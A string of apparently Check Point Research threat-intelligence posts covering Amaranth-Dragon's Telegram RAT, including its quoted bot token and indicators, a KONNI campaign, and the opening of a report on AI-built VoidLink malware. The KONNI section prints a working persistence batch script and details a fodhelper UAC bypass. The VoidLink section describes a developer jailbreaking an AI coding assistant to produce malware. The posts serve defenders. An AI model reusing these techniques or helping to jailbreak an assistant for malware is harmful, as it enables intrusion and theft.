The first decrypted string is the Telegram bot token, 8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8, which serves as the C&C channel for the RAT. The RAT leverages the tgbot-cpp library to interact with the Telegram API. Operators send commands to the RAT through the Telegram bot, and the RAT continuously monitors messages received by the bot, executes the specified commands on the infected machine, and returns the results to the bot via the same Telegram channel.

Command	Argument	Description
/start	N/A	Sends the list of running processes from the infected machine to the bot.
/screenshot	N/A	Captures and uploads a screenshot of the infected machine.
/shell	$command	Executes the specified command on the infected machine and returns the output.
/download	$filepath	Downloads the specified file from the infected machine.
/upload	$FILE	Uploads a file to the infected machine.

The example below demonstrates how the group can interact with the infected machine.

Attribution

Check Point Research observed overlaps between Amaranth-Dragon and APT-41, with similarities apparent in both their targeting and technical toolsets. Both groups have focused their campaigns on government and law enforcement entities across Southeast Asia, and the Amaranth-Dragon arsenal demonstrates notable technical features previously associated with APT-41. These include the use of DLL sideloading techniques and malicious DLLs that employ a Sleep instruction in unused exports, a characteristic observed in APT-41 tools, reported in earlier research publications. In addition, the development style, such as creating new threads within export functions to execute malicious code, closely mirrors established APT-41 practices. Compilation timestamps, campaign timing, and infrastructure management all point to a disciplined, well-resourced team operating in the UTC+8 (China Standard Time) zone. Taken together, these technical and operational overlaps strongly suggest that Amaranth-Dragon is closely linked to, or part of, the APT-41 ecosystem, continuing established patterns of targeting and tool development in the region.

Conclusion

The campaigns by Amaranth-Dragon exploiting the CVE-2025-8088 vulnerability highlight the recent trend of sophisticated threat actors rapidly weaponizing newly disclosed vulnerabilities. By leveraging a path traversal flaw in WinRAR, the group demonstrates its ability to adapt its tactics and infrastructure to maximize impact against highly targeted government and law enforcement organizations across Southeast Asian countries. The use of geo-restricted C&C servers, custom loaders, and open-source post-exploitation frameworks, such as Havoc, underscores the group’s technical proficiency and operational discipline. These attacks serve as a stark reminder of the importance of timely vulnerability management, user awareness, and robust defense-in-depth strategies. Organizations, especially those in government and critical infrastructure sectors, must prioritize patching vulnerabilities, monitoring suspicious archive files, and remaining vigilant for evolving TTPs. As cyber threats continue to align with geopolitical interests, collaboration between regional partners and the security community is essential to detect, disrupt, and defend against these advanced adversaries.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, protecting against the attacks and threats described in this report.

Indicators of Compromise

Description	Value
RAR Archives (Exploit)	259819d1ae6421c2871f2ba0d128089036a0b29b 92b8fa4d3e7f42036fc297a3b765e365e27cdce5 e34d7e8ba4bb949aa5c491b950ab30688d5dbadc
Archives	19abb00922f4fb3d4b28713bc866a033a11c1567 3a647d54f0866496d6d71c7b8e9f928759d535fd 44ac2785b0352113ed12b856ec4507fa0b897adf 53641ae0acb0fd986b30bdb1766086140abdc625 7ed0e7b80d4b5cddf10b0a6907755c607f37d7fe a80c9e1b3116f882d4f25e1934a2e890706ba44c b0b95528f5df65140540e473a5ac477d7f4dff87 d70bad36a4060f93a3c5c9092bbf299c463a1451 d80edb2d04670d304713b148d6a721498f842376 ec61fd29b0ebc597847325a61aceac5eeab4ae2c
Archive URLs	dropbox[.]com/scl/fi/csggj44n9255y3vsjhh0p/wsNativePush.zip?rlkey=oaffvs9si6wkc6j4ccushn133&st=osdl9su7&dl=1 dropbox[.]com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1 dropbox[.]com/scl/fi/rl6nbtvfzllgovofmbdsm/FSTR_HADR.zip?rlkey=bql8d9zl3gz1ctfftbby6lob7&st=sc98u44d&dl=1 catalogs[.]dailydownloads[.]net/archives/microsoft/office/@MrPresident_001_bot.rar
Supporting Files	1c1d53cb0f2a2d9b6d7ddb4ed55ed18880ae45e6 3823415ce9d1408a6595035e1cb634b2e261e005 40550c3696581a00b976adddbbef145f2531770e 5670d4688b2ec8b414a96aa795d81b78580ae20b 582d275c4f10c8632294cadcf56df13729612de2 78066f82804410625f6cd02a913464e163c5613e 85a31476dd35ff67439a2cbb4dea40e3223f8eaf 8aacc30dac2ca9f41d7dd6d2913d94b0820f802bc04461ae65eb7cf70b53a8ab b93db4606ab2233a6d48b9658ab7ca432ba93985 c582718d37e9563f019e3ef78e736a0282203371 ccd6e41f343ed719ac61c05d0435a3c3bfd67d2a e739b3cffbb94357390a0f451d8f4171fdb9200b ed0232814fe9adb9fe62e04c8982cebf5c5e79ab ff4e717f9fa54cbaadadf145433df4f8292c56c1
Amaranth Loader	00351add8e0bca838e8dac40875b8ad5195805bd 481d50d5ab7c0a41a7c4fabb01b5c50c8f4fabf2 718c5846d3b903e3e9e2df9281f5e25b371465f2 9afadca9b2dad54004bd376dbee7e98c38dbdf50 b4dc300031edf5dd4968028146b0d608bdd975c5 c54a68d6bcc6d04ff08ad9619706e54923a20248 cd949663598c49141a98b438cf408113602e5c19 ddea99cb2db5e95552dccc8804125f19b30af536
Amaranth Key URL	daily[.]getfreshdata[.]com/dailynews/environment.enc daily[.]getfreshdata[.]com/dailynews/key.txt pastebin[.]com/raw/2AGrG4i1 pastebin[.]com/raw/ASXindCH pastebin[.]com/raw/Z7xayGZ8
Amaranth C&C	analytics[.]freshdatainsights[.]org/display/2025/uid_8oQRkgpvMSgmBFt9/WondershareApplicationManual.pdf drive.easyboxsync[.]com/resources/channels/v7/cambodia64 get.storagesync[.]biz/resources/newspaper/2018/forecast2018 live[.]easyboxsync[.]com/resources/gup/notepad news[.]dostpagasa[.]com/llehs/jdkasdnkaf.enc softwares[.]dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key updates[.]dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf
TGAmaranth RAT	803fb65a58808fd3752f9f76b5c75ca914196305
Havoc	733714767a49c00c5c825c8e689da0c3bb23fbfa 9905c672b9c32f7a09fbebb7b54e9371f08af354 d751647a2c831b4e20aba2aab9de7feb9c6a9e7d e2520eb81665015778d915f0f0f749889a7fb1f5 e866edf14b208076d83417d9757056e7a12dca73
Havoc C&C	92.223.120[.]10 92.223.124[.]45 92.223.76[.]20 92.38.170[.]6 93.123.17[.]151 dns.annasoft.gcdn[.]co phnompenhpost[.]net todaynewsfetch[.]com

YARA rules

rule amaranth_loader
{
  meta:
    author = "@Tera0017/@_CPResearch_"
    description = "Amaranth Loader"
    link = "<https://research.checkpoint.com/>"
  strings:
    $mz = "MZ"
    $ama_size = {41 BD 01 00 00 00 41 BC 00 40 06 00 E9 92 00 00 00}
    $ama_iv = {C7 84 24 30 02 00 00 12 34 56 78 C7 84 24 34 02 00 00 90 AB CD EF C7 84 24 38 02 00 00 34 56 78 90 C7 84 24 3C 02 00 00 AB CD EF 12}
    $ama_decr = {FF C1 48 D3 E8 41 30 00 FF C2 49 FF C0}
  condition:
    $mz at 0 and any of ($ama*)
}

MITRE ATT&CK Matrix: Amaranth-Dragon Campaigns

Tactic	Technique (ID)	Description / Context in Campaigns
Initial Access	Spearphishing Attachment (T1566.001)	Targeted emails with malicious RAR archives exploiting CVE-2025-8088.
Execution	User Execution (T1204.002)	Victims are lured to open weaponized archive files, triggering code execution.
Execution	Exploitation for Client Execution (T1203)	Exploitation of WinRAR vulnerability (CVE-2025-8088) to execute arbitrary code.
Persistence	Boot or Logon Autostart Execution: Startup Folder (T1547.001)	Malicious scripts or payloads dropped into the Startup folder for persistence.
Persistence	Registry Run Keys / Startup Folder (T1547.001)	Persistence via registry key modification (Run key).
Persistence	Scheduled Task/Job (T1053)	Creating scheduled tasks for persistence.
Defense Evasion	Signed Binary Proxy Execution (T1218)	Sideloading Amaranth loader via legitimate executables.
Defense Evasion	Obfuscated Files or Information (T1027)	Encrypted payloads (AES), use of password-protected archives, and obfuscated delivery.
Command and Control	Application Layer Protocol: Web Protocols (T1071.001)	C2 communication over HTTP/HTTPS, including geo-restricted infrastructure.
Command and Control	Application Layer Protocol: Web Service (T1102)	Use of Pastebin for AES key delivery and Telegram for RAT C2.
Command and Control	Ingress Tool Transfer (T1105)	Downloading additional payloads (e.g., Havoc Framework) from attacker-controlled infrastructure.
Discovery	System Information Discovery (T1082)	RATs and frameworks like Havoc typically enumerate system information.
Collection	Input Capture (T1056)	RATs may capture keystrokes or other sensitive data.
Exfiltration	Exfiltration Over C2 Channel (T1041)	Stolen data exfiltrated via established C2 channels (Havoc, Telegram RAT).

References

[1] https://dmpdump.github.io/posts/Unattributed_Downloader_Cambodia/

[2] https://cyberarmor.tech/blog/autumn-dragon-china-nexus-apt-group-targets-south-east-asia

The post Amaranth-Dragon: Weaponizing CVE-2025-8088 for Targeted Espionage in the Southeast Asia appeared first on Check Point Research.

Check Point Research continuously investigates real-world attacks, vulnerabilities, attackers’ infrastructure, and emerging techniques across global networks and environments. The Cyber Security Report 2026 consolidates our research efforts throughout 2025 to deliver a clear, data-driven view of the current threat landscape and its trajectory in 2026.

As Check Point’s flagship annual research publication, the report serves as a reference point for security teams, researchers, and industry leaders seeking to understand how attacker behavior is evolving in practice, not just theory. The findings below highlight the most significant shifts shaping the threat landscape today.

AI as a Force Multiplier Across Cyber Attacks

Artificial intelligence is now embedded across the attack lifecycle, accelerating the execution of familiar techniques at greater speed and scale. 

Key observations:

• Increasingly convincing social engineering with fewer detectable indicators
• Faster reconnaissance and targeting, reducing time-to-compromise
• Accelerated malware development

Alongside its role as an enabler, AI is now a direct source of enterprise risk. Research in 2025 identified measurable exposure tied to how organizations deploy and govern AI systems.

Key data points:

• Risky AI prompts increased by 97% in 2025
• 40% of analyzed Model Context Protocols (MCPs) were vulnerable
• Elevated trust and autonomy amplify the impact of prompt injection and workflow abuse

Similar efficiency-driven patterns were also observed in financially motivated operations, including ransomware activity.

Ransomware Operations Become More Fragmented and Targeted

Ransomware activity continued to increase in 2025, despite multiple law enforcement takedowns of high-profile groups.

Research findings show:

• A shift away from centralized ransomware brands toward smaller, decentralized operators
• Increased use of data-only extortion without encryption
• More personalized extortion tactics based on victim profiling
• Shorter attack and negotiation timelines supported by automation and AI

This evolution reflects a shift toward operational efficiency and decentralized execution.

Unmonitored Devices as High-Value Initial Access Targets

Unmonitored devices played a growing role in intrusion activity, particularly in large-scale and targeted attacks.

Observed trends include:

• Exploitation of routers, gateways, VPN appliances, and other perimeter devices
• Use of edge devices for persistent access and lateral movement
• Delayed detection due to limited monitoring and patching coverage
• Supply-chain and vendor ecosystem exposure amplifying risk

These devices often sit outside standard endpoint and identity security controls.

Cyber Activity Aligns More Closely With Geopolitical Conflicts

Threat activity in 2025 increasingly mirrored real-world geopolitical tensions, with cyber operations synchronized to physical and political events.

Key characteristics include:

• Coordination between cyber espionage, disruption, and influence campaigns
• Targeting of infrastructure and information systems linked to regional conflicts
• Use of compromised IoT and surveillance systems to support physical-world operations

This convergence complicates attribution, as activity may involve overlapping criminal and state-aligned characteristics.

Common Pattern: Speed, Scale, and Reduced Visibility

Across all major trends, researchers observed consistent patterns in attacker operations:

• Faster execution cycles
• Broader targeting with fewer resources
• Reduced reliance on custom tooling

Chinese-Nexus Cyber Threats

During 2025 the Chinese-nexus activity was global by design:

• Operations are industrialized, not opportunistic
• Edge and perimeter infrastructure as primary foothold
• Routine zero-day and rapid one-day weaponization

What Security Teams Are Seeing in Practice

Based on activity observed throughout 2025, researchers identified the following conditions present across multiple environments:

• Continuous exposure created by misconfigurations, identity weaknesses, and unmanaged assets
• Increased reliance on identity-based access paths in intrusion activity
• Measurable risk introduced by ungoverned AI usage
• Attack paths spanning cloud, edge, SaaS, and on-prem environments

Conclusion

The findings in the Cyber Security Report 2026 reflect sustained observation of real-world attacker behavior rather than isolated incidents or short-term trends. By correlating telemetry, vulnerability research, and active threat investigations across regions and sectors, the report documents how attacker behavior and infrastructure evolved during 2025.

As a long-running, data-driven research publication, the report is intended to support informed analysis, planning, and discussion across the security community, from practitioners and researchers to decision-makers responsible for managing risk in 2026 and beyond.

Read the Cyber Security Report 2026

Access the full report to explore the underlying data, research methodology, and detailed analysis behind these findings.

Download Now

The post Cyber Security Report 2026 appeared first on Check Point Research.

Key Findings:

• Check Point Research (CPR) is tracking a phishing campaign linked to a North Korea–aligned threat actor known as KONNI.
• This activity goes beyond KONNI’s typical focus areas, indicating broader targeting across the APAC region, including Japan, Australia, and India.
• The campaign targets software developers and engineering teams with expertise in, or access to, blockchain-related resources and infrastructure.
• The attackers deploy an AI-generated PowerShell backdoor, highlighting the growing use of AI by threat actors, including North Korean groups.

Introduction

Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula.

In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure.

While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups.

Targets and Lures

Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas.

The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings.

While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past.

Figure 1 – Blockchain themed lures used in this campaign.

Infection Chain

The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key.

When executed, the LNK:

1. Writes the DOCX and CAB files to disk.
2. Opens the DOCX lure to distract the user.
3. Extracts the CAB archive, which contains:
   • PowerShell Backdoor
   • Two batch files
   • An executable used for UAC bypass
4. Executes the first batch file extracted from the CAB.

@echo off

    mkdir "C:\ProgramData\VljE"
    move "C:\ProgramData\zVJs.ps1" C:\ProgramData\VljE\
    move "C:\ProgramData\mKIftBn.bat" C:\ProgramData\VljE\
    schtasks /create /sc hourly /mo 1 /tn "OneDrive Startup Task-S-1-5-21-3315426051-1901789636-3309192473-4545" /tr "cmd /c powershell -w h $d=[IO.File]::ReadAllBytes(\\\"C:\ProgramData\VljE\zVJs.ps1\\\");$b=[Text.Encoding]::UTF8.GetBytes(\\\"Q\\\");for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$b[$i%%$b.Length]};$c=[Text.Encoding]::UTF8.GetString($d);iex $c" /rl limited /ru "%username%" /f
    timeout -t 3 /nobreak
    "C:\ProgramData\OneDriveUpdater.exe"
    del "%~f0"&exit /b

The first-stage batch script creates a new staging directory in C:\ProgramData, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch OneDriveUpdater.exe, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility.

The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables.

Figure 3 – Obfuscated PowerShell backdoor.

AI Usage

The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware.

At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality:

“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”

This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development.

Figure 4 – PowerShell Backdoor Documentation.

While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment:

“# <– your permanent project UUID”

This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials.

The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development.

PowerShell Backdoor analysis

The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately.

After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named Global\SysInfoProject_<projectUUID>. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission.

Figure 6 – Monitoring and analysis process blacklist.

Next, the malware evaluates its current privilege level and takes a different path for each result:

• User – The backdoor uses fodhelper UAC bypass to elevate privileges. This technique abuses the auto-elevated fodhelper.exe binary by modifying registry keys under HKCU\Software\Classes to redirect how Windows resolves the ms-settings protocol. In this case, it creates a custom handler in HKCU\Software\Classes\.thm\Shell\Open\command that points to an attacker-controlled executable and then sets HKCU\Software\Classes\ms-settings\CurVer to reference the .thm file type. When fodhelper.exe is launched, Windows follows this redirected resolution path causing fodhelper.exe to execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry keyHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin to 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.
• Admin – The backdoor performs cleanup of the previously dropped UAC bypass executable. The backdoor then adds a Windows Defender exclusion for C:\ProgramData and executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.
• System – The backdoor deploys SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.

Figure 7 – Privilege-Based Execution Flow.

As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named __test from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected.

Figure 8 – Post request sent to the C2 server.

Earlier Variants of the Infection Chain

Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: uc.exe, the same executable discussed earlier for the UAC bypass, and OneDriveUpdater.exe. OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access.

Execution begins with start.vbs, which silently launches simi.bat. Similar to the primary batch file described in the later samples, simi.bat creates a dedicated subdirectory in C:\ProgramData and relocates the downloaded scripts there for staging. In addition to organizing the tooling, simi.bat executes OneDriveUpdater.exe and then launches schedule1.bat. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named OneDriveUpdate.ps1. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file.

start.vbs initiates execution, simi.bat handles staging and payload execution, and schedule1.bat is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here.

Attribution

The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact (Avinash_CV.lnk). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as start.vbs launching a follow-on batch file simi.bat, that reinforces our assessment that this activity is part of the KONNI toolset.

Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server.

Conclusion

This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset.

At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services.

Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling.

IOCs

Hashes:

ZIP

• c79ef37866b2dff0afb9ca07b4a7c381ba0b201341f969269971398b69ade5d5
• c040756802a217abf077b2f14effb1ed68e36165fde660fef8ff0cfa2856f25d
• f619d63aa8d09bafb13c812bf60f2b9189a8dc696c7cef2f246c6b223222e94c
• b411fbe03d429556ced09412dd26dc972ee55cff907bfdb5594fe9e3f1c9f0b2
• fcc9b2ac73a0ca01fb999e6aa1a8bdbd89e632939443bcc9186ae1294089123e

LNK

• 39fdff2ea1a5e2b6151eccc89ca6d2df33b64e09145768442cec93a578f1760c
• 26356e12aae0a2ab1fd0ec15d49208603d3dd1041d50a0b153ab577319797715
• a1d4272ec0ce88f9c697b3e6c70624ec5f1ad9a83c9e64120b5ee21688365af9
• 856ac810f4a00a7e3fa89aec4c94cc166ae6ccf06c3557e9694f8639223ce25d
• e57fa2d1d3e2bff9603ce052e51a8d6ee5c6d207633765b401399b136249ca35
• c94e58f134c26c3dc25f69e4da81d75cbf4b4235bcfb40b17754da5fe07aad0a
• 3b67217507e0c44bd7a4cfafed0e8958d21594c98eec43a999614815a7060410

CAB

• de75afa15029283154cf379bc9bb7459cbcd548ff9d11efe24eb2fde7552af07
• 8647209127d998774179aa889d2fcc664153d73557e2cca5f29c261c48dd8772

Scripts

• b958d4d6ce65d1c081800fc14e558c34daff3b28cdd45323d05b8d40c4146c3c
• b15f95d0f269bc1edce0e07635681d7dd478c0daa82c6bfd50c551435eba10ff
• c2ec24dea46273085daa82e83c1c38f3921c718a61f617a66e8b715d1dcc0f57
• fb9f16a8900bae93dd93b5d059a0d2997c1db7198acf731f3acf1696a19eeead
• c3c8d6ea686ad87ca2c6fcb5d76da582078779ed77c7544b4095ecd7616ba39d
• af8ca986a52e312fb85f97b235e4b406d665d7ac09cbdb5e25662d4c508ebad4
• ec8c191ad171cf40461dc870b02f5c4e9904f9fec1191174d524b1fb3cbde47f
• 738637fcb82920f418111c0cd83d74d9a0807972a73abfbdc71b7446e5bd6a9d
• 159f81fc57399186503190562f28b2dd430d8cc07303e15e2ec60aee6bca798c
• eec55e9a7f27f2ecaba71735fbd636679783ff60d9019eabf8216beebd47300b
• 20e61936144822399149e651da665eb67b16e90ec824dac3d9eec8a4da42fdd2
• 851695cb3807a693aae25c8b9ade20a90eaea6802bc619c1d19d121a92aef7a0
• 1ebc4542905c8d4fd8ac6f6d9fadeef51698e5916f6ce1bcc61dcfdea02758ec
• 48585baa9f1c2b721bb8c4fbd88eff65f8fa580a662aadcd143bc4fda6590156

Executable

• f8e86693916be2178b948418228d116a8f73c7856e11c1f4470b8c413268c6c8
• 64e6a852fc2e4d3e357222692eefbf445c2bd9ba654b83e64fe9913f2bb115cc
• 26a01ffa237241e31a59f1ff4d62a063f55c97598732d55855cce18b8b27b2d6

Domains & IPs:

• filetrasfer.wuaze[.]com
• goldenftp.rf[.]gd
• plaza.xo[.]je
• gabber.42web[.]io
• humimianserver.kesug[.]com
• drone.ct[.]ws
• 46.4.112[.]56
• 192.144.34[.]77
• 192.144.34[.]40
• 34.203.111[.]164
• 223.16.184[.]105

The post KONNI Adopts AI to Generate PowerShell Backdoors appeared first on Check Point Research.

Key Points

• Check Point Research (CPR) believes a new era of AI-generated malware has begun. VoidLink stands as the first evidently documented case of this era, as a truly advanced malware framework authored almost entirely by artificial intelligence, likely under the direction of a single individual.
• Until now, solid evidence of AI-generated malware has primarily been linked to inexperienced threat actors, as in the case of FunkSec, or to malware that largely mirrored the functionality of existing open-source malware tools. VoidLink is the first evidence based case that shows how dangerous AI can become in the hands of more capable malware developers.
• Operational security (OPSEC) failures by the VoidLink developer exposed development artifacts. These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week.
• This case highlights the dangers of how AI can enable a single actor to plan, build, and iterate complex systems at a pace that previously required coordinated teams, ultimately normalizing high-complexity attacks, that previously would only originate from high-resource threat actors.
• From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD), first tasking it to generate a structured, multi-team development plan with sprint schedules, specifications, and deliverables. That documentation was then repurposed as the execution blueprint, which the model likely followed to implement, iterate, and test the malware end-to-end.

Introduction

When we first encountered VoidLink, we were struck by its level of maturity, high functionality, efficient architecture, and flexible, dynamic operating model. Employing technologies like eBPF and LKM rootkits and dedicated modules for cloud enumeration and post-exploitation in container environments, this unusual piece of malware seemed to be a larger development effort by an advanced actor. As we continued tracking it, we watched it evolve in near real time, rapidly transforming from what appeared to be a functional development build into a comprehensive, modular framework. Over time, additional components were introduced, command-and-control infrastructure was established, and the project accelerated toward a full-fledged operational platform.

In parallel, we monitored the actor’s supporting infrastructure and identified multiple operational security (OPSEC) failures. These missteps exposed substantial portions of VoidLink’s internal materials, including documentation, source code, and project components. The leaks also contained detailed planning artifacts: sprints, design ideas, and timelines for three distinct internal “teams,” spanning more than 30 weeks of planned development. At face value, this level of structure suggested a well-resourced organization investing heavily in engineering and operationalization.

However, the sprint timeline did not align with our observations. We had directly witnessed the malware’s capabilities expanding far faster than the documentation implied. Deeper investigation revealed clear artifacts indicating that the development plan itself was generated and orchestrated by an AI model and that it was likely used as the blueprint to build, execute, and test the framework. Because AI-produced documentation is typically thorough, many of these artifacts were timestamped and unusually revealing. They show how, in less than a week, a single individual likely drove VoidLink from concept to a working, evolving reality.

As this narrative comes into focus, it turns long-discussed concerns about AI-enabled malware from theory into practice. VoidLink, implemented to a notably high engineering standard, demonstrates how rapidly sophisticated offensive capability can be produced, and how dangerous AI becomes when placed in the wrong hands.

AI-Crafted Malware: Creation and Methodology

The general approach to developing VoidLink can be described as Spec Driven Development (SDD). In this workflow, a developer begins by specifying what they’re building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it.

Artifacts from VoidLink’s development environment suggest that the developer followed a similar pattern: first defining the project based on general guidelines and an existing codebase, then having the AI translate those guidelines into an architecture and build a plan across three separate teams, paired with strict coding guidelines and constraints, and only afterward running the agent to execute the implementation.

Project Initialization

VoidLink’s development likely began in late November 2025, when its developer turned to TRAE SOLO, an AI assistant embedded in TRAE, an AI-centric IDE. While we do not have access to the full conversation history, TRAE automatically produces helper files that preserve key portions of the original guidance provided to the model. Those TRAE-generated files appear to have been copied alongside the source code to the threat actor’s server, and later surfaced due to an exposed open directory. This leakage gave us unusually direct visibility into the project’s earliest directives.

In this case, TRAE generated a Chinese-language instruction document. These directives offer a rare window into VoidLink’s early-stage planning and the baseline requirements that set the project in motion. The document is structured as a series of key points:

Chinese	English	Description
目标	Objective	Explicitly instructs the model not to implement code or provide technical details related to adversarial techniques, likely an attempt to navigate or bypass initial model safety constraints (”jailbreak”).
资料获取	Material acquisition	Directs the model to reference an existing file named c2架构.txt (C2 Architecture), which likely contained the seed architecture and design concepts for the C2 platform.
架构梳理	Architecture breakdown	Takes the initial input and decomposes it into discrete components required to build a functional and robust framework.
